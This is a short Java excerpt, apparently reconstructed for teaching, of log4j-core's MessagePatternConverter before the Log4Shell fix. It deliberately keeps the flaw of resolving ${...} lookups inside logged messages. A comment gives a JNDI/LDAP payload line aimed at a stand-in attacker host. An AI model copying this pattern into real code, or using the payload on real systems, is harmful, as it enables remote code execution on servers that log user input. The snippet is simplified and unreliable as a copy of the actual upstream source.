// MessagePatternConverter.format() - excerpt from log4j-core 2.14.x pre-CVE-2021-44228. // Faithful structure with the recursive lookup substitution that resolves // ${jndi:...} expressions inside log message payloads at format time. package org.apache.logging.log4j.core.pattern; import org.apache.logging.log4j.core.LogEvent; import org.apache.logging.log4j.core.config.Configuration; import org.apache.logging.log4j.core.lookup.StrSubstitutor; import org.apache.logging.log4j.message.Message; public final class MessagePatternConverter { private final StrSubstitutor substitutor; private final boolean noLookups; public MessagePatternConverter(final Configuration config) { this.substitutor = config.getStrSubstitutor(); this.noLookups = false; // default — lookups enabled } public void format(final LogEvent event, final StringBuilder toAppendTo) { final Message msg = event.getMessage(); if (msg == null) { return; } final String formatted = msg.getFormattedMessage(); // BUG: substitute references inside the message itself. // Attacker who controls *any* logged value (e.g. User-Agent, username, // search query) can inject "${jndi:ldap://attacker/exploit}" which // the substitutor will resolve, fetching and deserialising a remote // class via JNDI/LDAP and triggering arbitrary code execution. if (formatted.contains("${")) { toAppendTo.append(substitutor.replace(event, formatted)); } else { toAppendTo.append(formatted); } } }